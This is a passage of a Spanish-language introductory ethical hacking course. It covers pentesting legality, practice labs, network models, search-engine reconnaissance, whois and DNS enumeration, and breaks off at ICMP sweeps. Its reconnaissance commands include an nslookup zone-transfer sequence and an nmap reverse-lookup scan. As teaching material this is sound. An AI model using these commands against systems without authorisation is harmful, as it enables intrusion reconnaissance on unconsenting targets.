Curso Hacking Etico v0.1

Curso de Introducción al Hacking Ético v0.1 Vte. Javier García Mayén neofito(at)gmail(dot)com @2016, Vte. Javier Garcí

Views 264 Downloads 22 File size 1MB

Report DMCA / Copyright

DOWNLOAD FILE

Recommend stories

Citation preview

Curso de Introducción al Hacking Ético v0.1 Vte. Javier García Mayén neofito(at)gmail(dot)com

@2016, Vte. Javier García Mayén. Document licensed under the Creative Commons Attribution-NonCommercial 4.0 license. https://creativecommons.org/licenses/by-nc/4.0/

Tabla de contenido Módulo 1: Introducción ................................................................................................................ 9 1.1. ¿Qué es el hacking ético? ................................................................................................... 9 1.2. ¿Cómo practicarlo sin miedo? ............................................................................................ 9 1.2.1. Capture the flag (CTFs) .............................................................................................. 10 1.2.2. Wargames ................................................................................................................. 11 1.2.3. Escenarios online....................................................................................................... 11 1.2.4. Máquinas virtuales .................................................................................................... 11 Módulo 2: Sistemas informáticos y redes de comunicaciones ................................................... 13 2.1. Introducción ..................................................................................................................... 13 2.2. El modelo ISO/OSI ............................................................................................................ 13 2.3. El modelo TCP/IP .............................................................................................................. 14 Módulo 3: Recopilación de información ..................................................................................... 17 3.1. Objetivos .......................................................................................................................... 17 3.2. Hacking con buscadores ................................................................................................... 17 3.2.1. Google Hacking.......................................................................................................... 17 3.2.2. Buscadores especializados ........................................................................................ 18 3.3. Enumeración de hosts ...................................................................................................... 19 3.3.1. Consultas whois......................................................................................................... 19 3.3.2. Consultas DNS ........................................................................................................... 22 3.3.3. Barridos ICMP ............................................................................................................ 26 3.4. Elaboración de un diagrama de red ................................................................................. 27 Módulo 4: Identificación de vulnerabilidades............................................................................. 31 4.1. Objetivos .......................................................................................................................... 31 4.2. Escaneo de puertos .......................................................................................................... 31 4.2.1. Conceptos básicos ..................................................................................................... 31 4.2.3. Clasificación del estado de los puertos ..................................................................... 32 4.2.2. Tipos de escaneos más utilizados.............................................................................. 33 4.2.3. Identificación del sistema operativo ......................................................................... 36 4.2.4. Identificación del software y sus versiones............................................................... 37 4.3. Búsqueda en bases de datos de vulnerabilidades ........................................................... 37 4.4. Escaneo activo de vulnerabilidades ................................................................................. 38 4.5. Técnicas avanzadas .......................................................................................................... 38 4.5.1. Análisis estático de código ........................................................................................ 38

4.5.2. Técnicas de fuzzing .................................................................................................... 39 Módulo 5: Explotación de vulnerabilidades ................................................................................ 41 5.1. Objetivos .......................................................................................................................... 41 5.2. Metasploit ........................................................................................................................ 41 5.2.1. Introducción a Metasploit Framework...................................................................... 41 5.2.3. Ejemplo de uso .......................................................................................................... 43 5.2.4. Estructura de directorios ........................................................................................... 48 5.2.5. Componentes ............................................................................................................ 48 5.2.6. Meterpreter .............................................................................................................. 48 5.2.7. Programando en Metasploit ..................................................................................... 48 Referencias .................................................................................................................................. 49 Módulo 1: Introducción .......................................................................................................... 49 Módulo 2: Sistemas informáticos y redes de comunicaciones ............................................... 49 Módulo 3: Recopilación de información ................................................................................. 49 Módulo 4: Identificación de vulnerabilidades......................................................................... 50 Módulo 5: Explotación de vulnerabilidades ............................................................................ 50

Módulo 1: Introducción 1.1. ¿Qué es el hacking ético? El auge de los negocios y servicios ofrecidos vía Internet unido al crecimiento exponencial que ha tenido el número de dispositivos interconectados mediante la red de redes han sido el caldo de cultivo ideal para la proliferación de un tipo nuevo de delitos cometidos con ayuda de las nuevas tecnologías. El término hacking, otrora asociado al proceso de investigación aun saltándose las barreras convencionales sin otro afán que la búsqueda de conocimiento, se ha convertido gracias mayormente a los medios de comunicación y las noticias sensacionalistas que éstos últimos promueven, en un término peyorativo asociado al cibercrimen. Una definición válida para el hacking ético contemplaría el proceso de analizar la seguridad de los sistemas TI de un objetivo previo consenso y obtención de autorización por parte del dueño de los recursos que lo conforman. Este análisis seguiría una metodología específica y reproducible así como una serie de normas y limitaciones establecidas de antemano. El pentesting o penetration testing (test de penetración), otro sinónimo para el término de hacking ético, surge como un proceso controlado y “legal” de aumentar la seguridad de los sistemas, servicios y recursos accesibles mediante las redes de comunicaciones, utilizando para ello técnicas similares, sino iguales, a las desplegadas por otro tipo de atacantes con muchos menos escrúpulos. Un proceso de auditoría de hacking ético o pentesting atraviesa diferentes etapas con distintos objetivos a cumplir dentro de cada una de ellas. El número y nomenclatura varía en función del autor y las preferencias personales, sirva como ejemplo la metodología en 7 fases desarrollada en el Penetration Testing Execution Standard1; en este texto se contemplan las siguientes fases: 1. 2. 3. 4.

Reconocimiento y recopilación de información. Identificación de vulnerabilidades. Explotación de las vulnerabilidades encontradas. Consolidación del acceso obtenido.

En general, cuando una empresa contrata un servicio de auditoría de hacking ético espera obtener como contrapartida un informe de resultados, detallando en mayor o menor medida el proceso llevado a cabo así como los puntos débiles encontrados y algunas recomendaciones para mitigar o erradicar de forma definitiva dichas debilidades. En el texto que compone este curso obviaremos dicha fase para centrarnos principalmente en las fases más técnicas del proceso.

1.2. ¿Cómo practicarlo sin miedo? En el código penal de 25 de Julio de 2014, enmarcado en el Título X acerca de los “Delitos contra la intimidad, el derecho a la propia imagen y la inviolabilidad del domicilio” dentro del apartado 3 del artículo 197 puede leerse expresamente: 1

http://www.pentest-standard.org/index.php/Main_Page

9

“El que por cualquier medio o procedimiento y vulnerando las medidas de seguridad establecidas para impedirlo, acceda sin autorización a datos o programas informáticos contenidos en un sistema informático o en parte del mismo o se mantenga dentro del mismo en contra de la voluntad de quien tenga el legítimo derecho a excluirlo, será castigado con pena de prisión de seis meses a dos años.” El párrafo anterior, conocido coloquialmente como “Ley del hacking”, se introdujo por primera vez en la reforma del código penal mediante la Ley Orgánica 5/2010 publicada el 22 de junio de dicho año, y desde entonces se ha mantenido intacto. De lo anterior claramente se deduce que, a no ser que contemos con un consentimiento explícito por parte del dueño de los sistemas que pretendemos auditar estaremos incurriendo en un delito tipificado que puede llevarnos directamente a la cárcel; pero entonces, ¿cómo hacemos para aprender de forma que ofrezcamos un mínimo de garantías a la hora de contar con dicha autorización?

1.2.1. Capture the flag (CTFs) Basado en el clásico juego “capturar la bandera” se trata de una competición orientada a estudiantes y/o aficionados a la seguridad informática en las que se plantean una serie de pruebas de diferentes categorías (criptografía, auditoría web, ingeniería inversa, etc) cuya resolución otorga una puntuación, de forma que al resolver todas las pruebas o finalizar el tiempo estipulado por los organizadores resulta vencedor aquel grupo o persona que más puntos haya sido capaz de acumular. Otra modalidad se basa en otorgar sistemas idénticos a los diferentes grupos participantes en la competición los cuales deberán proteger frente a ataques externos obteniendo puntos bien como resultado de vulnerar los sistemas de sus oponentes, bien como bonificación por el tiempo en que los sistemas que defienden se han mantenido online. Este tipo de competiciones van normalmente asociadas a congresos de seguridad informática en todo el mundo de forma que previamente a su celebración se lanzan una serie de pruebas que permiten la clasificación para disputar la final durante el evento. El sitio ctftime2 se ha erigido en una suerte de calendario y lugar de consulta obligatorio para informarse tanto de los eventos futuros como de los pasados. A modo de complemento tenemos el repositorio mantenido en shellstorm3 con la mayoría de ficheros utilizados en las pruebas de las diferentes competiciones y un repositorio en github4 con las soluciones publicadas para las pruebas de los distintos retos. Personalmente recomiendo participar en el PicoCTF5 tanto por su orientación eminentemente didáctica como por el formato de presentación y resolución de pruebas; además suelen dejar online los contenidos de las pasadas ediciones, así que si quieres introducirte en este mundo puedes empezar probando con la edición de 20136.

2

https://ctftime.org/ http://shell-storm.org/repo/CTF/ 4 https://github.com/ctfs/write-ups 5 https://picoctf.com/ 6 https://2013.picoctf.com/ 3

10

1.2.2. Wargames Muy similares a los anteriores aunque en este caso no suelen tener, normalmente, un periodo máximo de duración, no suelen ofrecer premios por su resolución y tienen una aureola más “metafísica” en cuanto a que su finalidad sería básicamente el conocimiento mediante el entretenimiento. Algunos sitios a modo de ejemplo:    

OverTheWire WarZone The BlackSheep Exploit Exercises

http://overthewire.org/wargames/ http://warzone.elhacker.net/ http://www.bright-shadows.net/ http://exploit-exercises.com/

Como ocurría con los CTFs en este caso We Chall7 se ha convertido en una suerte de referencia, conteniendo un directorio de sitios activos y actuar como un sistema de ranking global de participantes para los retos adscritos a la iniciativa.

1.2.3. Escenarios online Se trata habitualmente de empresas que ofrecen labs online para practicar técnicas de hacking accediendo mediante una conexión vpn, de forma que los entornos ofrecidos van desde un único servidor con determinadas vulnerabilidades hasta redes completas de cientos de máquinas con diferentes perfiles. En esta categoría destacaría el sitio Hacking-Lab8, cuyo registro y acceso es gratuito, y a través del cual podemos participar en cualquier de los diferentes retos disponibles e incluso evaluar nuestros conocimientos una vez superados.

1.2.4. Máquinas virtuales Sin duda una de las tendencias desde hace algún tiempo en cuanto a consolidación de servidores pasaría por la virtualización, entendiendo por tal la simulación de un recurso informático (servicio, sistema, dispositivo, etc) mediante un software especial conocido como hipervisor9. Los hipervisores de nivel 2 o de "andar por casa” son un tipo especial de software que se ejecuta sobre el sistema operativo anfitrión permitiendo correr diferentes máquinas virtuales mediante la simulación de un hardware virtual para cada una de ellas. Algunos ejemplos:    

VMware Player Pro VMware Workstation Oracle VM VirtualBox QEMU

http://www.vmware.com/products/player/ http://www.vmware.com/es/products/workstation https://www.virtualbox.org/ http://wiki.qemu.org/Main_Page

7

https://www.wechall.net/ https://www.hacking-lab.com/index.html 9 http://es.wikipedia.org/wiki/Hipervisor 8

11

Luego están los hipervisores "más serios", los de nivel 1, que son aquellos que se ejecutan directamente "sobre el metal" (bare-metal), compuesto por el hardware del equipo anfitrión, y que ofrecen mayores prestaciones como para ser tenidos en cuenta en entornos empresariales, pero que, a grandes rasgos, funcionarían de forma similar a los anteriores. Algunos ejemplos:   

VMware vSphere Microsoft Hyper-V Proxmox VE

http://www.vmware.com/es/products/vsphere http://technet.microsoft.com/es-es/library/hh831531.aspx http://www.proxmox.com/es/

Para nuestro caso, utilizando cualquiera de los hipervisores de nivel 2 nada nos impediría correr sobre nuestro equipo personal varios sistemas operativos diferentes e incluso configurar entornos de red complejos para hacer nuestras pruebas. Y lo mejor de todo es que tenemos a nuestra disposición gran cantidad de sistemas virtuales pre-instalados y pre-configurados disponibles para descargar y desplegar con un par de clics y con los que empezar a practicar. Algunos ejemplos:      

12

Pentester Lab https://pentesterlab.com/ Metasploitable https://information.rapid7.com/metasploitable-download.html bWAPP http://www.itsecgames.com/ IT HackLab http://www.rebootuser.com/?page_id=1041 CSAW CTF https://isisblogs.poly.edu/2014/10/14/csaw-ctf-2014-vm/ DVWA https://github.com/RandomStorm/DVWA

Módulo 2: Sistemas informáticos y redes de comunicaciones 2.1. Introducción Con el advenimiento de la informática y la evolución de los primeros ordenadores surgió la necesidad de compartir recursos, lo que llevó al diseño e implantación de las primeras redes de comunicaciones; las principales universidades a lo largo de todo el mundo empezaron a interconectar sus sistemas para compartir información. El siguiente avance lógico para estas redes con alcance “local” fue interconectar las distintas redes de las diferentes universidades a lo largo de todo el mundo para crear una gran red “global” y poder así compartir el conocimiento entre todos los integrantes de la misma; y es en ese punto donde comenzaron a surgir los problemas. Cuando varias personas se reúnen en una misma sala con la intención de comunicarse es necesario que entre todas ellas se llegue a un consenso en cuanto al idioma que se utilizará para que todos los participantes en la conversación sean capaces de interactuar correctamente entre sí. Trasladando este concepto al mundo de los distintos sistemas informáticos y las redes de comunicaciones aparece la necesidad de establecer un estándar, consensuado por todos, que marque el protocolo de comunicación a utilizar para la transmisión y recepción de los datos.

2.2. El modelo ISO/OSI Conocido también como ISO/IEC 7498-1 se trata de un modelo teórico desarrollado por la organización internacional de estándares, ISO, que especifica las fases que tiene que atravesar un paquete de datos o “mensaje” viajando entre los dos extremos o “interlocutores” de una “conversación” a través de una red de comunicaciones. Esta estructura modular permite simplificar el proceso, aislando cada una de las fases en capas independientes unas de otras y garantizando la interoperabilidad entre los dispositivos de distintos fabricantes siempre que éstos cumplan con el estándar. De forma resumida y de abajo hacia arriba las funcionalidades ofrecidas por cada una de las capas del modelo serían: 

Capa de enlace físico: define las características materiales, eléctricas y funcionales de la interfaz, del medio y de la señal que viajará a través de él conteniendo el mensaje que se desea transmitir.



Capa de enlace de datos: se ocupa del direccionamiento físico, del acceso al medio, de la detección de errores, de la transmisión de tramas10 y del control del flujo.



Capa de red: proporciona la funcionalidad de enrutamiento necesaria para intercomunicar dos nodos que pueden estar situados en redes distintas, incluso geográficamente hablando.

10

Término utilizado a este nivel para nombrar las distintas partes en que se divide un conjunto de datos.

13



Capa de transporte: se encarga de dividir los datos que forman el mensaje en paquetes más pequeños en el nodo emisor, ensamblar dichos paquetes para formar el mensaje original en el nodo destino y de proporcionar una comunicación fiable.



Capa de sesión: una vez establecida la comunicación entre dos nodos se encarga de mantenerla, finalizarla, controlarla y gestionar los posibles errores que puedan producirse.



Capa de presentación: transforma los datos entre las diferentes representaciones que pueden utilizar los extremos de la comunicación para asegurar que la capa superior sea capaz de interpretarlos.



Capa de aplicación: actúa de intermediario entre las aplicaciones finales de usuario y los datos intercambiados como resultado de la comunicación con otros nodos.

Las capas inferiores dan soporte y ofrecen servicios a sus respectivas capas inmediatamente superiores, de forma que las capas situadas al mismo nivel en ambos extremos de la comunicación se “entienden” entre sí. Nodo emisor

Nodo receptor

Capa de aplicación

Capa de aplicación

Capa de presentación

Capa de presentación

Capa de sesión

Capa de sesión

Capa de transporte

Capa de transporte

Capa de red

Capa de red

Capa de enlace de datos

Capa de enlace de datos

Capa de enlace físico

Capa de enlace físico

Diagrama 1: Esquema de comunicación entre dos nodos siguiendo el modelo OSI

En la actualidad el conjunto de protocolos utilizados en Internet no se adhiere estrictamente a este modelo, pero en su momento sirvió como base para estandarizar su proceso de creación, además de que se sigue utilizando en la enseñanza para ilustrar como estructurar una pila de comunicaciones de forma modular.

2.3. El modelo TCP/IP Es el estándar de facto para las comunicaciones en Internet; desarrollado en la década de los 70 por Vinton Cerf y Robert E. Kahn por encargo de la Agencia de Investigación de Proyectos Avanzados de Defensa de los Estados Unidos (DARPA) para crear un protocolo abierto de interconexión de sistemas.

14

Aunque es muy similar al modelo OSI su estructura es significativamente distinta básicamente reduciendo el número de capas estrictamente necesarias a tan sólo cuatro: 

Capa de acceso a la red: se ocupa de dividir y encapsular los paquetes TCP/IP para que puedan ser enviados a través de medio físico y posteriormente recoger, desencapsular y volver a unir estos paquetes para ofrecérselos a la capa superior.



Capa de internet: se encarga del direccionamiento y las funciones de enrutamiento con el fin de garantizar que, independientemente del camino escogido, todos los paquetes lleguen a su destino.



Capa de transporte: establece y mantiene un circuito lógico virtual sobre el cual tendrá lugar la comunicación, garantiza la confiabilidad de dicho circuito, el control del flujo de la comunicación y la gestión de errores.



Capa de aplicación: gestiona la relación con las aplicaciones finales controlando aspectos tales como la representación de los datos, definición de interfaces, etc.

En cada una de estas capas se ejecutan uno o varios protocolos de la familia TCP/IP para implementar las funcionalidades asociadas a cada una de ellas. El siguiente diagrama muestra una equivalencia entre los modelos planteados así como algunos de los protocolos correspondientes: Modelo OSI

TCP/IP

Capa de aplicación



Capa de presentación



Capa de sesión



Capa de transporte

Capa de aplicación

HTTP, SMTP, FTP, SNMP, DNS, NTP



Capa de transporte

TCP, UDP

Capa de red



Capa de Internet

IP, ICMP, ARP

Capa de enlace de datos

 

Capa de acceso a la red

Ethernet, PPP

Capa de enlace físico

Diagrama 2: Equivalencia de capas entre el modelo OSI y TCP/IP

Es importante conocer la forma en que se estructura una comunicación a través de Internet a fin de determinar el punto en el que tendremos que interactuar para conseguir los resultados esperados. El proceso de hacking implica, en la mayoría de las ocasiones, forzar situaciones inesperadas o no contempladas de antemano para obtener resultados que permitan seguir avanzando en una investigación.

15

Módulo 3: Recopilación de información 3.1. Objetivos En esta fase intentamos obtener el máximo de información posible acerca del objetivo, de forma que nos pueda ser de utilidad en las etapas posteriores del ataque. Estamos generando un perfil a partir de la “huella” dejada en Internet, de ahí que en ocasiones a esta fase también se la conozca como footprinting11. Una gran parte del proceso de recopilación no es intrusiva sino pasiva en el sentido que ni siquiera será necesario llegar a “tocar” los sistemas y/o servicios que forman parte de nuestro objetivo, centrándonos por el contrario en otras vías indirectas como pueden ser consultas whois, interrogación de los servidores DNS, búsquedas a través de Google, Bing, etc.

3.2. Hacking con buscadores Metodología pasiva de recolección de información que se basa en la búsqueda selectiva de diferentes cadenas de texto utilizando para ellos las funcionalidades ofrecidas por los diferentes buscadores de Internet en la forma de operadores y expresiones avanzadas de búsqueda.

3.2.1. Google Hacking Sin ninguna duda Google es el motor de búsqueda más utilizado y conocido en la actualidad; su funcionalidad es la de devolver enlaces como resultado para los términos introducidos como cadenas de búsqueda clasificando su importancia en base a un conjunto de algoritmos propios registrado como PageRank12. Entre los operadores avanzados más conocidos implementados por el motor de búsqueda tendríamos: Operador

Descripción

allintitle:

Enlaces que contengan todos los términos de búsqueda en el título. Enlaces que contengan todos los términos de búsqueda en la url. Enlaces cuyo sufijo coincida con el indicado como tipo de fichero. Enlaces que apunten a la url indicada. Enlaces contenidos únicamente dentro del sitio indicado.

allinurl: filetype: link: site:

Tabla 1: operadores avanzados de búsqueda soportados por Google

Para obtener más información consultar el siguiente enlace (ajeno a Google): http://www.googleguide.com/advanced_operators_reference.html o acudir a la sección de Referencias del presente texto.

11

http://en.wikipedia.org/wiki/Footprinting

12

http://es.wikipedia.org/wiki/PageRank

17

Captura 1: ejemplo de búsqueda utilizando los operadores avanzados de Google

Utilizando una combinación de estos operadores avanzados, términos de búsqueda concretos y algo de ingenio pueden llegar a encontrarse cosas como:    

Servidores afectados por determinadas vulnerabilidades. Mensajes de error y de depuración. Ficheros que contienen contraseñas. Directorios sensibles, etc.

El sitio Google Hacking Database13, replicado en el siguiente enlace14, contiene varios cientos de google dorks que pueden resultar útiles durante el proceso de recopilación de información.

3.2.2. Buscadores especializados Shodan  http://www.shodanhq.com/ Shodan es un buscador que implementa una serie de filtros avanzados15 que nos permitirán localizar máquinas o dispositivos con unas características determinadas y que sean accesibles directamente desde Internet. Por ejemplo podemos obtener una lista de máquinas pertenecientes al dominio gob.es que ejecutan un servidor Microsoft Internet Information Services (IIS) introduciendo la siguiente cadena de búsqueda:

Captura 2: ejemplo de cadena de búsqueda en Shodan

El servicio limita los resultados obtenidos en función de si el usuario está autenticado o no y del tipo de cuenta (gratuita o suscriptor) y también proporciona una API para generar nuestras propias aplicaciones basadas en los servicios ofrecidos por la aplicación. 13

http://www.hackersforcharity.org/ghdb/ http://www.exploit-db.com/google-dorks/ 15 http://www.shodanhq.com/help/filters 14

18

The wayback machine  https://archive.org/ Es una base de datos del estado de Internet, en el sentido de que conserva registros de muchos sitios a modo de capturas que permiten ver como estaba una aplicación web en un momento determinado del pasado.

Captura 3: interfaz del buscador de la "Wayback Machine"

3.3. Enumeración de hosts Entendemos por enumeración de hosts todas aquellas técnicas, ya sean pasivas o activas, que nos permitirán generar un listado de máquinas, preferentemente accesibles desde internet, pertenecientes a nuestro objetivo. El alcance establecido previamente al proceso de pentesting delimitará el número de máquinas de la lista generada sobre las que tenemos permiso para dirigir nuestros ataques.

3.3.1. Consultas whois Las direcciones IP y los nombres de dominio garantizan la posibilidad de comunicación entre los distintos hosts que “habitan” la Internet, pero para que todo funcione correctamente debe existir algún tipo de organismo encargado de regular la asignación de dichos parámetros, y ese organismo es la ICANN16. Creada el 18 de septiembre de 1998 como relevo para muchas de las funciones realizadas hasta entonces por la IANA17 se trata de una organización internacional sin ánimo de lucro encargada, entre otras cosas, de la asignación de direcciones IP. Para facilitar la gestión de la asignación de direcciones existe lo que se conoce como Regional Internet Registry (RIR)18, organismos en los cuales la ICANN delega dicho proceso de gestión: RIR

Website

Región

APNIC ARIN LACNIC RIPE AFRINIC

http://www.apnic.net/ https://www.arin.net/ http://www.lacnic.net http://www.ripe.net/ http://www.afrinic.net/

Asia y la región Pacífica. Norte América y Sud América. América Latina y región del Caribe. Europa. África

Tabla 2: Regional Internet Registries (RIRs)

16

http://es.wikipedia.org/wiki/ICANN http://es.wikipedia.org/wiki/Internet_Assigned_Numbers_Authority 18 http://es.wikipedia.org/wiki/Registro_Regional_de_Internet 17

19

Cada uno de estos organismos puede a su vez subdelegar la gestión a los ISPs u otros registros locales. Supongamos que en alguna de las etapas anteriores hemos identificado la IP 62.204.192.16 o que ésta se nos ha proporcionado en la definición del alcance del proceso de pentesting. Para obtener el máximo de información a partir de la misma efectuaremos una consulta whois. El comando whois viene de serie prácticamente en todos los sistemas *NIX y para Windows podemos utilizar la herramienta IPNetInfo19 de Nirsoft:

Captura 4: Resultado obtenido para una consulta whois utilizando IPNetInfo de Nirsoft

Con una simple consulta hemos acotado la organización a la que pertenece la dirección IP, el rango de direcciones en poder de dicha organización y teléfonos de contacto de varias personas pertenecientes a la misma. Otra funcionalidad de las consultas whois es que también podemos utilizarlas para obtener información asociada a nombres de dominio. Para ello primero tendremos que determinar la empresa u organismo registrador encargado de gestionar los distintos Top Level Domain (TLD)20 y, seguidamente, dirigir nuestras consultas a esa dirección e ir escalonadamente obteniendo el máximo de información posible a partir de los datos obtenidos en el paso anterior.

19

http://www.nirsoft.net/utils/ipnetinfo.html

20

http://es.wikipedia.org/wiki/Dominio_de_nivel_superior

20

Continuando con el ejemplo, obtendremos una lista de dominios .net asociados a la “Universidad Nacional de Educación a Distancia”; desde el interfaz whois de la web de la ICANN21 consultaremos la dirección del registrador:

Captura 5: Consulta whois desde la web de la ICANN para obtener el registrador de los dominios .net

Una vez obtenida la dirección del servicio utilizaremos el cliente whois22 de línea de comandos de Windows Sysinternals23:

Captura 6: Resultado de una consulta whois utilizando el cliente de línea de comandos de Sysinternals

En este caso hemos utilizado como término de consulta la cadena “uned.” de forma que el carácter comodín correspondiente al punto provoca que se nos devuelvan todos los nombres de dominio registrados que contengan la palabra uned y para los que el organismo registrador 21

http://whois.icann.org/ http://technet.microsoft.com/es-es/sysinternals/bb897435.aspx 23 http://technet.microsoft.com/es-es/sysinternals/default 22

21

sea autoritativo. La causa de que aparezcan dominios .com además de dominios .net es que, en este caso, el registrador encargado de la gestión de ambos dominios de primer nivel es el mismo. El cliente whois de Sysinternals se encarga, para cada uno de los dominios de la lista devuelta limitada por condiciones de uso a 50 resultados, realizar una petición de forma recursiva al servidor whois correspondiente obteniendo así en una sola ejecución información ampliada para cada uno de ellos. Como información interesante obtenida para utilizar en las siguientes fases del ataque tendríamos las direcciones de los servidores DNS autoritativos para el dominio, la dirección del servicio whois para obtener información detallada y el estado en que éste se encuentra24. Uno detrás de otro probaríamos, siguiendo el mismo método, con los diferentes dominios de primer nivel, por ejemplo .edu, .info, .biz, etc. Como particularidad, la información relativa a los dominios .es tendremos que buscarla desde el interfaz web del sitio dominios.es25:

Captura 7: Resultado de una consulta de nombre de dominio en dominios.es

3.3.2. Consultas DNS Una vez disponemos de uno o varios nombres de dominio asociados al objetivo podemos ampliar el listado de máquinas encontradas utilizando para ello consultas DNS a los servidores de nombres autoritativos para el o los dominios. En los albores de Internet cada una de las máquinas conectada mantenía su propio registro de asociaciones entre nombres de máquinas/direcciones IP en un fichero de texto que se descargaba periódicamente de un servidor centralizado, el cual se encargaba de mantenerlo rigurosamente actualizado. Con el crecimiento de la red este método demostró ser insostenible y como sustituto se desarrolló el servicio de nombres de dominio (DNS)26.

24

http://tinyurl.com/pzqzeky

25

http://www.dominios.es/dominios/

26

http://es.wikipedia.org/wiki/Domain_Name_System

22

El servicio DNS es básicamente un esquema de nombres jerárquico, formando una estructura de tipo árbol, almacenados en una base de datos distribuida, y que permite realizar la traducción entre nombres de máquinas, fácilmente inteligibles para una persona, y direcciones IP, que son las que finalmente se utilizan para establecer y mantener las comunicaciones. Cuando una aplicación de usuario como el navegador necesita conectarse a un sitio web utiliza un servicio del sistema conocido como resolver pasándole el nombre de dominio como parámetro. Este resolver se encarga de contactar con el DNS primario configurado en el sistema de interrogarle acerca de la dirección IP correspondiente al nombre de dominio, todo ello sobre UDP.

Captura 8: Formato de una consulta DNS

Posibilidades en cuanto al proceso seguido por el servidor consultado: 

El servidor DNS contiene en su archivo de zona la asociación correspondiente y, por lo tanto, le devuelve directamente en su respuesta dicha asociación. En este caso se dice que el servidor DNS es autoritativo para la zona, es decir, es el encargado de gestionarla para el resto de las máquinas de Internet.



El servidor DNS no contiene en su archivo de zona la asociación deseada, por lo que reenvía su consulta a otro servidor, ya sea éste alguno de los servidores de reenvío que tiene configurados o a uno de los root servers27. En cualquier caso, el siguiente servidor DNS consultado realizaría el mismo proceso y así sucesivamente de forma recursiva hasta encontrar el servidor autoritativo para la zona, el cual le devolvería al primero la asociación correspondiente*.



El servidor DNS no contiene en su archivo de zona la asociación deseada, pero en algún momento anterior fue consultado por el mismo parámetro y almacenó en su caché interna la respuesta del servidor autoritativo para la zona. La respuesta para una consulta DNS contiene un campo que indica el tiempo en segundos durante el que, presumiblemente, un registro DNS seguirá siendo válido y, por lo tanto, podrá ser cacheado.

* El proceso podría terminar si alguno de los servidores de la cadena recursiva de consultas almacenara en su caché la asociación requerida, pero obviamos aquí este punto para simplificar la explicación.

Una vez el resolver recibe la respuesta para su consulta le pasa el resultado a la aplicación de usuario almacenándola también a su vez en una caché interna, de forma que las respuestas para las consultas posteriores por el mismo nombre de dominio sean más rápidas. TIP: En Windows podemos consultar el contenido de la caché interna utilizando el comando “ ipconfig /displaydns” y vaciarla mediante el comando “ipconfig /flushdns”.

27

http://es.wikipedia.org/wiki/Servidor_raíz

23

La respuesta para una consulta DNS se conoce como registro de recurso y contiene los siguientes campos: -

Nombre: es el nombre DNS en una consulta normal o la dirección IP en una consulta de resolución inversa (a partir de la dirección IP obtenemos el nombre DNS).

-

Tipo: recurso que se desea obtener mediante la consulta (ver tabla 3).

-

Clase: habitualmente será Internet (IN, 0x001).

-

Tiempo de vida: período de tiempo, indicado en segundos, durante el cual el contenido de la respuesta seguirá siendo válido, es decir, podrá ser cacheado.

-

Longitud: tamaño, en bytes, para el valor obtenido como respuesta.

-

Valor: este campo puede ser un número, un nombre de dominio o una cadena de texto. El formato dependerá del tipo de registro solicitado.

Captura 9: Formato de una respuesta DNS para un registro de tipo Address

Captura 10: Formato de una respuesta DNS para un registro de Pointer

Los tipos de recursos más comunes en la actualidad son: Tipo

Id

A NS CNAME SOA WKS PTR HINFO MINFO MX TXT AXFR

1 2 5 6 11 12 13 14 15 16 252

Descripción (Address) Dirección IP de un host. (Name Server) Servidor de nombres autoritativo para la zona. (Canonical Name) Alias para un nombre de host. (Start of Authority) DNS del dominio, persona de contacto, número de serie, etc. (Well Known Service) Descripción de un servicio ofrecido por el host. (Pointer) Puntero a un nombre de dominio; para ejecutar búsquedas inversas. (Host Information) Información sobre el host. (Mail Information) Información sobre un buzón o lista de correo. (Mail Exchange) Servidor de correo asociado al dominio. (Text) Cadenas de texto, normalmente con información sobre un host. Hace referencia a más de un elemento, en este caso la zona entera.

Tabla 3: Tipos de recursos DNS más comunes

24

Si queremos enumerar objetivos mediante consultas DNS en primer lugar tendremos que identificar el servidor autoritativo para el dominio, que podemos tenerlo ya como resultado de las consultas whois explicadas en la sección anterior u obtenerlo consultando por el tipo de registro NS para el dominio objetivo. Una vez obtenido un servidor autoritativo intentaremos recopilar el máximo número de hosts pertenecientes al dominio, estando limitados por nuestra capacidad de “imaginar” nombres DNS a utilizar en las consultas. Las siguientes herramientas nos ayudarán en el proceso de enumeración:    

dns-brute28 dns_enum29 dns_recon.py30 fierce.pl31

Su funcionamiento se basa en realizar un ataque de fuerza bruta, es decir, probar cientos de posibles nombres en sucesivas consultas registrando sólo aquellos que resulten válidos. Otra opción, difícil en la actualidad pero que no debemos desestimar, es que el servidor DNS que estemos interrogando esté mal configurado y permita lo que se conoce como una “transferencia de zona”. Para garantizar la disponibilidad del sistema DNS cada zona debería estar soportada por un servidor maestro o principal y al menos un servidor esclavo. El servidor maestro es aquel sobre el que se realizan las modificaciones en la configuración y el servidor o servidores esclavos (también llamados secundarios) se encargarían de replicarla actualizándose automáticamente (utilizando el protocolo TCP) cuando en el servidor maestro se produce algún cambio. El problema se da cuando en la configuración del servidor maestro no se incluyen de forma específica los servidores esclavos autorizados, situación que habilitaría a cualquier atacante a, mediante una consulta por un tipo de registro especial (axfr), obtener un volcado completo del contenido de la zona. Comandos a ejecutar para obtener una transferencia de zona mediante el comando nslookup desde Windows: C:\Users\jgarcia>nslookup Servidor predeterminado: servidor_predeterminado Address: ip_servidor_predeterminado > server servidor_autoritativo Servidor predeterminado: servidor_autoritativo Address: ip_servidor_autoritativo > set type=any > ls -d nombre_dominio

Si la serie de comandos anteriores diera resultado tendríamos de un plumazo el contenido completo de la zona gestionada por el servidor DNS. Por último, utilizando el rango de red asignado al objetivo obtenido, por ejemplo mediante una consulta whois sobre una dirección IP, se pueden realizar consultas de resolución inversa 28

http://nmap.org/nsedoc/scripts/dns-brute.html http://www.darkoperator.com/blog/2009/12/11/enumeration-thru-dns-and-metasploit.html 30 https://github.com/darkoperator/dnsrecon 31 http://ha.ckers.org/fierce/ 29

25

para obtener los FQDN asociados y detectar así un patrón en la nomenclatura que nos permita a su vez deducir nuevos nombres. NOTA: El Fully Qualified Domain Name (FQDN)32 es el nombre DNS completo, incluyendo desde el nombre de host hasta los diferentes subdominios para terminar con el dominio DNS de primer nivel. Un ejemplo: correo.informatica.universidad.es

Para automatizar el proceso de resolución inversa de todas las direcciones IP de un rango determinado podemos utilizar la herramienta para Linux plushs33 o el siguiente comando de nmap34: # nmap -sL -R rango_direcciones

Disponible tanto para Windows como para Linux, mucho más acerca de esta increíble herramienta en posteriores secciones de este mismo documento.

3.3.3. Barridos ICMP El protocolo ICMP es una herramienta para el protocolo IP en el sentido que, básicamente, le informa de si se ha producido algún problema en la recepción de los datagramas enviados y cuál ha sido la causa. Los mensajes ICMP viajan en los datos de los datagramas IP e incluyen un campo que permite identificar el tipo. Los tipos que nos interesan son: 

